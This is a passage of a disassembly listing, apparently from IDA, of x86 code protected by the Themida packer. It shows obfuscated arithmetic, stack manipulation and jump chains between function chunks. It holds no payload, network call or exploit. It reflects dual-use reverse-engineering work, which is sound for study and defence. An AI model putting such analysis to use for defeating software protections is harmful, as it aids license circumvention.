; ---------------------------------------------------------------------------
loc_553699: ; CODE XREF: Themida_:00555FC1j
xor [esp], ecx
xor ecx, [esp]
jmp loc_55BE8E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553B16
loc_5536A4: ; CODE XREF: sub_553B16+Bj
add ecx, 4
add ecx, 4
jmp loc_55881F
; END OF FUNCTION CHUNK FOR sub_553B16
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5536B2: ; CODE XREF: sub_556A70-4D9Ej
add ebx, eax
sub ebx, 509248F3h
push 3C8Dh
mov [esp+8+var_8], eax
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5536C7: ; CODE XREF: Themida_:00555F8Fj
add [esp+4], esi
mov esi, [esp]
jmp loc_551B0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5536D3: ; CODE XREF: sub_556A70+1780j
mov ebp, 270C06A0h
shr ebp, 3
xor ebp, 4E180D0h
add edi, 35A35F6Dh
sub edi, ebp
sub edi, 35A35F6Dh
push [esp+8+var_8]
pop ebp
add esp, 4
xchg edi, [esp+4+var_4]
pop esp
mov [esp+0], ebx
sub dword ptr [esp+0], 30F3195Fh
pop eax
add eax, 30F3195Fh
push 7CB7h
mov [esp+0], edi
push 3B4B1C80h
pop edi
push 4F56h
mov [esp+4+var_4], ebp
push esi
jmp loc_5556B3
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_553729: ; CODE XREF: sub_552B74+7309j
add esp, 2
push ecx
jmp loc_5510E0
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553735: ; CODE XREF: sub_556A70-46ACj
push edx
mov edx, 2DA856A1h
dec edx
add edx, 0FB0F0851h
jmp loc_55532E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553747: ; CODE XREF: Themida_:0055BFD5j
add edi, 22D409ACh
add edi, 2DF96E72h
pop ebp
jmp loc_55B14A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553759: ; CODE XREF: sub_556A70-37F5j
sub edi, 0DA40F45h
sub edi, 0A33326ADh
add eax, edi
pop edi
add eax, 4
jmp loc_559E0E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553770: ; CODE XREF: Themida_:005590D2j
push esi
mov esi, 6F3C6C79h
sub [esp+8], esi
pop esi
add dword ptr [esp+4], 5361318h
add [esp+4], esi
sub dword ptr [esp+4], 5361318h
add dword ptr [esp+4], 6F3C6C79h
mov esi, [esp]
add esp, 4
jmp loc_553917
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5537A2: ; CODE XREF: sub_556A70-6000j
mov cl, dl
pop dx
jmp loc_55CD61
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556769
loc_5537AB: ; CODE XREF: sub_556769+1j
mov ebx, 34A83382h
add ebp, ebx
jmp loc_558B7D
; END OF FUNCTION CHUNK FOR sub_556769
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5537B7: ; CODE XREF: sub_556A70+2923j
add esi, 4
jmp loc_559251
; ---------------------------------------------------------------------------
loc_5537BF: ; CODE XREF: sub_556A70+2D4Dj
push edx
push esp
pop edx
add edx, 4
jmp loc_554778
; ---------------------------------------------------------------------------
loc_5537CD: ; CODE XREF: sub_556A70-16A5j
pop ebp
add eax, 2
push eax
jmp loc_55A60B
; ---------------------------------------------------------------------------
loc_5537D7: ; CODE XREF: sub_556A70-12E7j
xor ebx, eax
pop eax
push ebp
mov ebp, 49504412h
add ebp, 726F52C9h
and ebp, 6F4B0330h
not ebp
push edx
mov edx, 5170308Dh
add ebp, edx
jmp loc_551D03
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5537FB: ; CODE XREF: Themida_:00558E44j
neg eax
shr eax, 7
push ebp
mov ebp, 1315497Fh
add ebp, 0A89192BFh
sub eax, ebp
pop ebp
add ebp, eax
pop eax
pop edx
push 6E50h
mov [esp], ebp
jmp loc_556C7D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553820: ; CODE XREF: sub_556A70+3420j
mov [esp+0Ch+var_C], ecx
mov ecx, 1
push 2345h
mov [esp+10h+var_10], edx
mov edx, 24h
add edx, 2F38086Ch
add edx, 7C0B03B8h
jmp loc_557669
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553846: ; CODE XREF: Themida_:0055A416j
and [edi+1Ch], eax
push dword ptr [esp]
pop eax
push 5C4h
mov [esp], ecx
jmp loc_55450D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_55385A: ; CODE XREF: sub_552B74+90ECj
add al, 1Fh
jmp loc_559E79
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
loc_553861: ; CODE XREF: Themida_:0055BD81j
pop ecx
mov edi, [esp]
add esp, 4
add esi, 2
xchg esi, [esp]
pop esp
mov cx, [esp]
push 37BFh
mov [esp], esi
mov esi, esp
add esi, 4
push 755h
mov [esp], edx
push edi
mov edi, 4
mov edx, edi
pop edi
jmp loc_552BD2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55389C: ; CODE XREF: sub_556A70-3629j
mov ch, dh
jmp loc_555E5D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5538A3: ; CODE XREF: Themida_:00557C94j
mov edx, 5350002h
add edx, 35B0557h
jmp loc_55C46E
; ---------------------------------------------------------------------------
loc_5538B3: ; CODE XREF: Themida_:00554E09j
pop ecx
push eax
push ecx
jmp loc_55BF6F
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub esp, 4
jmp loc_55CE06
; ---------------------------------------------------------------------------
loc_5538E8: ; CODE XREF: Themida_:0055AE35j
pop eax
push edx
jmp loc_556E10
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5538EF: ; CODE XREF: sub_556A70+F5Dj
mov bh, 25h
add al, bh
jmp loc_551927
; ---------------------------------------------------------------------------
loc_5538F8: ; CODE XREF: sub_556A70+F6Ej
add edx, ebx
pop ebx
add edi, 7B1E002Dh
sub edi, edx
sub edi, 7B1E002Dh
mov edx, [esp-14h+arg_10]
add esp, 4
jmp loc_55ABB5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553917: ; CODE XREF: Themida_:0055379Dj
mov eax, [esp]
add esp, 4
jmp loc_554C87
; ---------------------------------------------------------------------------
loc_553925: ; CODE XREF: Themida_:0055885Aj
push esi
mov esi, 4
add [esp+4], esi
pop esi
pop dword ptr [esp]
jmp loc_554BD8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553938: ; CODE XREF: sub_556A70+AFj
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp-18h+arg_14]
pop esp
mov [esp-1Ch+arg_18], edi
mov edi, esp
jmp loc_555DD2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553951: ; CODE XREF: Themida_:0055AAC2j
pop eax
xor ecx, ebx
jmp loc_550E34
; ---------------------------------------------------------------------------
loc_553959: ; CODE XREF: Themida_:0055AF74j
mov eax, esp
push ecx
jmp loc_558308
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553961: ; CODE XREF: sub_556A70-243j
mov [esp-1Ch+arg_18], edx
mov dh, 7Fh
mov cl, dh
jmp loc_555643
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55396D: ; CODE XREF: Themida_:00559373j
mov ebx, 20CE5569h
jmp loc_553CD5
; ---------------------------------------------------------------------------
loc_553977: ; CODE XREF: Themida_:00555B75j
sub esp, 2
mov [esp], bx
mov bl, 26h
xor cl, bl
mov bx, [esp]
add esp, 2
jmp loc_553428
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5525ED
loc_553991: ; CODE XREF: sub_5525ED+3j
mov [esp+4+var_4], ebx
mov ebx, 4
jmp loc_5575DE
; END OF FUNCTION CHUNK FOR sub_5525ED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559D5E
loc_55399E: ; CODE XREF: sub_559D5E-48E8j
xchg eax, [esp+8+var_8]
pop esp
xchg edi, [esp+4+var_4]
pop esp
mov [esp+0], edi
push edx
push 35807FC2h
jmp loc_557001
; END OF FUNCTION CHUNK FOR sub_559D5E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5539B4: ; CODE XREF: sub_556A70+1FC4j
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp-18h+arg_14]
pop esp
mov [esp-1Ch+arg_18], ebx
jmp sub_55B730
; ---------------------------------------------------------------------------
loc_5539CF: ; CODE XREF: sub_556A70+23B3j
pop ecx
add ebp, 4
xchg ebp, [esp-20h+arg_1C]
jmp loc_5583F6
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_5539DB proc near ; CODE XREF: sub_556A70-278Bj
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00551374 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00551CB8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055406F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005587AF SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00558EFB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055913B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055A719 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055A771 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0055BA4E SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0055CB36 SIZE 0000000E BYTES
push ebx
push edi
mov edi, 5DBF2147h
and edi, 4DC0499h
push edx
jmp loc_55A771
sub_5539DB endp
; ---------------------------------------------------------------------------
loc_5539EE: ; CODE XREF: Themida_:005583DAj
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push ecx
mov ecx, 19F85E9Eh
shl ecx, 4
jmp loc_557A49
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553A07: ; CODE XREF: sub_556A70+3829j
pop ecx
push ebx
pop esi
mov ebx, [esp-24h+arg_20]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_55229F
; ---------------------------------------------------------------------------
loc_553A21: ; CODE XREF: sub_556A70+C82j
push 3983h
mov [esp-1Ch+arg_18], eax
mov eax, 24h
sub esp, 4
mov [esp-18h+arg_14], eax
mov eax, 442F1D68h
add esi, eax
pop eax
add esi, eax
push ebx
push ebp
mov ebp, 3FF1368Dh
jmp loc_55686F
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553A4D: ; CODE XREF: Themida_:00558D6Cj
push 0
jmp loc_555052
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553A57: ; CODE XREF: sub_556A70+449j
push small 15EAh
jmp loc_55343A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_553A60: ; CODE XREF: sub_552B74+77BCj
add ah, 42h
or ah, 0E5h
push edx
mov dl, 6Eh
add ah, dl
pop edx
sub ah, 28h
jmp loc_55BC44
; END OF FUNCTION CHUNK FOR sub_552B74
; =============== S U B R O U T I N E =======================================
sub_553A74 proc near ; CODE XREF: sub_556A70-181Aj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 0055337F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005594DE SIZE 0000002A BYTES
push ebp
mov ebp, 5B054953h
add ebp, 0A4FAB6AEh
mov edi, ebp
pop ebp
sub eax, edi
pop edi
jmp loc_55337F
sub_553A74 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push ecx
push esp
pop ecx
push ebp
mov ebp, 282858FEh
jmp loc_55B73B
; ---------------------------------------------------------------------------
loc_553AA3: ; CODE XREF: Themida_:005531FAj
sub dh, 0AFh
push ecx
mov cl, 0B3h
jmp loc_5599EA
; ---------------------------------------------------------------------------
loc_553AAE: ; CODE XREF: Themida_:00556399j
mov edx, [esp]
add esp, 4
push 784Eh
mov [esp], ebx
jmp loc_55A2CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553AC4: ; CODE XREF: sub_556A70+5868j
push esp
pop ecx
push eax
push ebp
mov ebp, 50EF5254h
shr ebp, 1
jmp loc_552248
; ---------------------------------------------------------------------------
loc_553AD4: ; CODE XREF: sub_556A70+5485j
sub ax, si
mov esi, [esp-0Ah+arg_4+2]
add esp, 4
push small 257Dh
mov word ptr [esp-0Ch+arg_8], dx
jmp loc_556BBD
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553AEA: ; CODE XREF: Themida_:0055CEA5j
push esp
pop edx
push ecx
push 3872A9Ch
mov ecx, [esp]
add esp, 4
shr ecx, 8
shr ecx, 6
push ecx
push eax
jmp loc_553C8C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_553B05: ; CODE XREF: sub_552B74+187Aj
pop esp
retn
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_553B0C: ; CODE XREF: Themida_:0055CD34j
pop esp
mov [esp], cx
jmp loc_550A46
; =============== S U B R O U T I N E =======================================
sub_553B16 proc near ; CODE XREF: sub_556A70+E01j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005527FB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00552FB8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005536A4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055881F SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00559414 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055A84A SIZE 00000031 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
mov ecx, esp
jmp loc_5536A4
sub_553B16 endp
; ---------------------------------------------------------------------------
loc_553B26: ; CODE XREF: Themida_:005552CFj
push 1EA3h
mov [esp], ebp
push esp
mov ebp, [esp]
add esp, 4
jmp loc_55C2DD
; ---------------------------------------------------------------------------
loc_553B3A: ; CODE XREF: Themida_:00554BE2j
add ecx, 4
jmp loc_5513E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_553B45: ; CODE XREF: sub_5584F8-1C8Ej
not edx
not edx
shr edx, 4
jmp loc_55CCCB
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553B51: ; CODE XREF: sub_556A70-3F6Dj
sub eax, edi
pop edi
sub eax, 7ED5452Dh
add eax, ebx
jmp loc_552C8E
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_553B60 proc near ; CODE XREF: sub_55515F-458j
; FUNCTION CHUNK AT 00559802 SIZE 00000008 BYTES
push ebx
mov bh, 16h
or bh, 99h
jmp loc_559802
sub_553B60 endp
; ---------------------------------------------------------------------------
loc_553B6B: ; CODE XREF: Themida_:00559656j
sub ebx, 5880281h
add eax, ebx
jmp loc_5577B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555903
loc_553B78: ; CODE XREF: sub_555903+18j
pop ebx
xchg edx, [esp+0]
pop esp
mov [esp-4+arg_0], edi
mov edx, [esp-4+arg_0]
jmp loc_55190B
; END OF FUNCTION CHUNK FOR sub_555903
; ---------------------------------------------------------------------------
mov ax, [esp]
push edi
push esp
pop edi
push 3A28h
mov [esp], ebp
push esi
jmp loc_5595BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553B9D: ; CODE XREF: sub_556A70+4D2Dj
and edi, 28842696h
push ebx
mov ebx, 6EEA4F3Ah
sub edi, ebx
pop ebx
jmp loc_5518CB
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553BB1: ; CODE XREF: Themida_:00558F42j
mov edx, 42512B03h
add edx, 35E13E79h
and edx, 77546123h
not edx
dec edx
jmp loc_557E6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5582B3
loc_553BCA: ; CODE XREF: sub_5582B3+19j
pop esi
push edi
jmp loc_55A6DB
; END OF FUNCTION CHUNK FOR sub_5582B3
; ---------------------------------------------------------------------------
push 40C9h
mov [esp], ebx
jmp loc_554875
; ---------------------------------------------------------------------------
loc_553BDE: ; CODE XREF: Themida_:00556893j
sub esp, 4
mov [esp], edi
jmp loc_552039
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553BE9: ; CODE XREF: sub_556A70+1CE3j
push eax
mov eax, 0AA62FBDh
jmp loc_55C067
; ---------------------------------------------------------------------------
loc_553BF4: ; CODE XREF: sub_556A70+1038j
xor ebx, 9BF1EE9Ch
sub esi, ebx
pop ebx
mov eax, [esp-4+arg_0]
jmp loc_552787
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553C05: ; CODE XREF: Themida_:0055111Aj
xor esi, eax
pop eax
neg esi
add esi, 68B05516h
dec esi
xor esi, 0B7A9EAA9h
mov edi, esi
pop esi
jmp loc_5598CA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559F87
loc_553C1F: ; CODE XREF: sub_559F87-7D1Dj
push eax
mov al, 54h
xor cl, al
pop eax
add al, 62h
sub al, cl
sub al, 62h
pop ecx
jmp sub_55515F
; END OF FUNCTION CHUNK FOR sub_559F87
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553C31: ; CODE XREF: sub_556A70-4EDEj
mov [esp+0Ch+var_C], edx
jmp loc_55AC5B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555B85
loc_553C39: ; CODE XREF: sub_555B85-4E2Bj
or edi, 0D60F79h
xor edi, 0B1691C8Eh
sub ecx, edi
jmp loc_55974D
; END OF FUNCTION CHUNK FOR sub_555B85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553C4C: ; CODE XREF: sub_556A70+859j
dec edi
xor edi, 5A9F6EBEh
add eax, 377C59CAh
jmp loc_5596AE
; ---------------------------------------------------------------------------
loc_553C5D: ; CODE XREF: sub_556A70+46C8j
xor al, dl
mov dx, word ptr [esp+0Ch+var_C]
add esp, 2
xor bl, al
movzx eax, al
jmp loc_5548E8
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553C73: ; CODE XREF: Themida_:0055CEC0j
add eax, 4
jmp loc_554DF1
; ---------------------------------------------------------------------------
loc_553C7D: ; CODE XREF: Themida_:0055A6FFj
xchg esi, [esp]
mov esp, [esp]
xchg ebx, [esp]
pop esp
jmp loc_5552CB
; ---------------------------------------------------------------------------
loc_553C8C: ; CODE XREF: Themida_:00553B00j
mov ecx, [esp]
add esp, 4
pop eax
dec eax
xchg eax, ecx
add ecx, 0FFFFF1E9h
jmp loc_556D40
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553CA0: ; CODE XREF: sub_556A70+9Dj
pop ebp
push edi
mov edi, esp
jmp loc_5564AA
; ---------------------------------------------------------------------------
loc_553CA9: ; CODE XREF: sub_556A70+4E86j
pop ecx
pop [esp+4+var_4]
pop esp
mov [esp-4+arg_0], esi
push ebx
mov ebx, 1E0C7A18h
jmp loc_55B6D8
; ---------------------------------------------------------------------------
loc_553CBC: ; CODE XREF: sub_556A70+3050j
sub esi, 244270CCh
add eax, esi
pop esi
jmp loc_55466E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553CCA: ; CODE XREF: Themida_:00559136j
push eax
mov eax, 73AF69B7h
jmp loc_555F04
; ---------------------------------------------------------------------------
loc_553CD5: ; CODE XREF: Themida_:00553972j
xor ebx, 20CE556Dh
add ebp, ebx
pop ebx
jmp loc_55955E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AA5F
loc_553CE3: ; CODE XREF: sub_55AA5F-647Dj
push ecx
pop ebx
pop ecx
add edi, ebx
pop ebx
jmp loc_5588EB
; END OF FUNCTION CHUNK FOR sub_55AA5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553CEE: ; CODE XREF: sub_556A70-3AF0j
pop esp
add esp, 4
sub esp, 4
mov [esp+4+var_4], esi
push ebp
push esi
mov esi, 4B3D252Ah
dec esi
or esi, 4CD66143h
shr esi, 2
jmp loc_551DAD
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553D11: ; CODE XREF: Themida_:0055C0BEj
push esp
jmp loc_555B96
; =============== S U B R O U T I N E =======================================
sub_553D17 proc near ; CODE XREF: sub_556A70+3F86j
var_8 = dword ptr -8
; FUNCTION CHUNK AT 00550BF5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055111F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055433E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005560DB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005565A5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005566D3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00559923 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00559BDE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055CDC6 SIZE 0000000A BYTES
push ebx
jmp loc_5560DB
sub_553D17 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553D1D: ; CODE XREF: sub_556A70+13Dj
add esp, 4
pop [esp+8+var_8]
jmp loc_554125
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553D28: ; CODE XREF: Themida_:0055BEC8j
xor eax, 2729433Ch
dec eax
jmp loc_551582
; ---------------------------------------------------------------------------
loc_553D33: ; CODE XREF: Themida_:00556759j
pop esi
shr ebx, 8
xor ebx, 392C77CCh
jmp loc_552C10
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_559DC0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553D4B: ; CODE XREF: sub_556A70-4B18j
add ebp, ebx
mov ebx, [esp-0Ch+arg_8]
add esp, 4
xchg ebp, [esp-10h+arg_C]
mov esp, [esp-10h+arg_C]
idiv ecx
push 12EAh
mov [esp-0Ch+arg_8], edx
push eax
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553D6A: ; CODE XREF: Themida_:0055678Ej
pop eax
shr ch, 7
shl ch, 8
sub ch, 0FFh
shl ch, 3
add ch, 43h
sub al, 21h
sub al, ch
add al, 21h
pop ecx
sub esp, 4
jmp loc_557456
; ---------------------------------------------------------------------------
loc_553D89: ; CODE XREF: Themida_:00553E32j
or bh, 59h
xor bh, 4Fh
jmp loc_55B31F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553D94: ; CODE XREF: sub_556A70+3003j
pop esp
shl word ptr [esp-8+arg_4], cl
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_553D9F: ; CODE XREF: sub_556A70-2700j
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553DA4: ; CODE XREF: Themida_:00550ECCj
push 28195A24h
pop ecx
xor ecx, 28195A20h
push ecx
xor dword ptr [esp], 3AA5652Eh
pop esi
xor esi, 3AA5652Eh
pop ecx
jmp loc_55AF99
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B730
loc_553DC5: ; CODE XREF: sub_55B730-56FFj
add ebp, 4CE60C68h
pop ebx
push ecx
mov ecx, 70EE6520h
add ebp, 372A7454h
sub ebp, ecx
sub ebp, 372A7454h
jmp loc_55599A
; END OF FUNCTION CHUNK FOR sub_55B730
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553DE5: ; CODE XREF: sub_556A70-23E2j
pop edx
jmp loc_55B359
; ---------------------------------------------------------------------------
loc_553DEB: ; CODE XREF: sub_556A70-3F09j
add eax, esi
sub eax, 5A3B430Ah
pop esi
pop esi
mov ebp, [esp-0Ch+arg_8]
add esp, 4
sub eax, 4
xchg eax, [esp-10h+arg_C]
pop esp
jmp loc_554789
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553E09: ; CODE XREF: Themida_:0055BF0Aj
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add bl, 0A3h
sub bl, al
sub bl, 0A3h
sub esp, 4
mov [esp], edx
push ebx
push edx
mov dl, 7Bh
mov bh, 6
xor bh, dl
pop edx
jmp loc_553D89
; ---------------------------------------------------------------------------
loc_553E37: ; CODE XREF: Themida_:005589C1j
inc edi
add edi, 8A91514Bh
jmp loc_552455
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553E43: ; CODE XREF: sub_556A70+5B06j
xor ah, ch
pop ecx
push eax
mov ah, 0DBh
not ah
shr ah, 6
shl ah, 5
sub ah, 0E2h
add dl, ah
pop eax
sub dl, ah
sub dl, 1Eh
pop eax
sub al, 6Dh
sub al, dl
add al, 6Dh
pop edx
push ecx
jmp sub_5553D0
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_553E6A proc near ; CODE XREF: sub_556A70+54FAj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00552667 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055598B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055BB14 SIZE 00000022 BYTES
sub esp, 4
mov [esp+4+var_4], eax
jmp loc_55BB14
sub_553E6A endp
; =============== S U B R O U T I N E =======================================
sub_553E75 proc near ; CODE XREF: sub_556A70+1E08j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00553F4B SIZE 0000001D BYTES
push ebx
mov bh, 0CFh
inc bh
push eax
mov al, 1Fh
xor al, 0A9h
xor al, 29h
xor al, 60h
jmp loc_553F4B
sub_553E75 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553E88: ; CODE XREF: sub_556A70+526Fj
add eax, ebp
add eax, 3DB07A2Ah
push edi
push ebx
mov ebx, 244F1D99h
jmp loc_553604
; ---------------------------------------------------------------------------
loc_553E9B: ; CODE XREF: sub_556A70+2690j
xor [esp-14h+arg_10], 493F76C7h
pop ecx
sub esp, 4
mov [esp-14h+arg_10], ebp
push 493F76C7h
pop ebp
xor ecx, ebp
pop ebp
pop edx
sub [esp-1Ch+arg_1C], ecx
jmp loc_5522E5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553EBC: ; CODE XREF: Themida_:0055B314j
dec eax
sub eax, 7D708F1Dh
sub ebx, eax
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add ebx, edi
add ebx, 20FB23E8h
push edx
mov edx, 0
add edx, ebx
add eax, [edx]
mov edx, [esp]
add esp, 4
pop ebx
jmp loc_558794
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B730
loc_553EF5: ; CODE XREF: sub_55B730-10D7j
pop ebp
jmp loc_55CE3F
; END OF FUNCTION CHUNK FOR sub_55B730
; ---------------------------------------------------------------------------
loc_553EFB: ; CODE XREF: Themida_:0055CBB6j
sub ebx, edx
pop edx
add ebx, eax
push edx
mov edx, 72D65642h
sub esp, 4
mov [esp], ebp
mov ebp, 5EF9413Ah
sub edx, ebp
jmp loc_55B5D1
; ---------------------------------------------------------------------------
loc_553F1B: ; CODE XREF: Themida_:00554D70j
xor al, bl
push dword ptr [esp]
mov ebx, [esp]
jmp loc_551E5C
; ---------------------------------------------------------------------------
loc_553F28: ; CODE XREF: Themida_:005580D2j
push dword ptr [esp]
pop ebp
sub esp, 4
mov [esp], ecx
jmp loc_557BC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553F3A: ; CODE XREF: sub_556A70-2656j
pop ebx
jmp loc_554910
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_553F40: ; CODE XREF: Themida_:0055C4E6j
xchg edi, ebx
not edi
xchg edi, ebx
jmp loc_55B591
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553E75
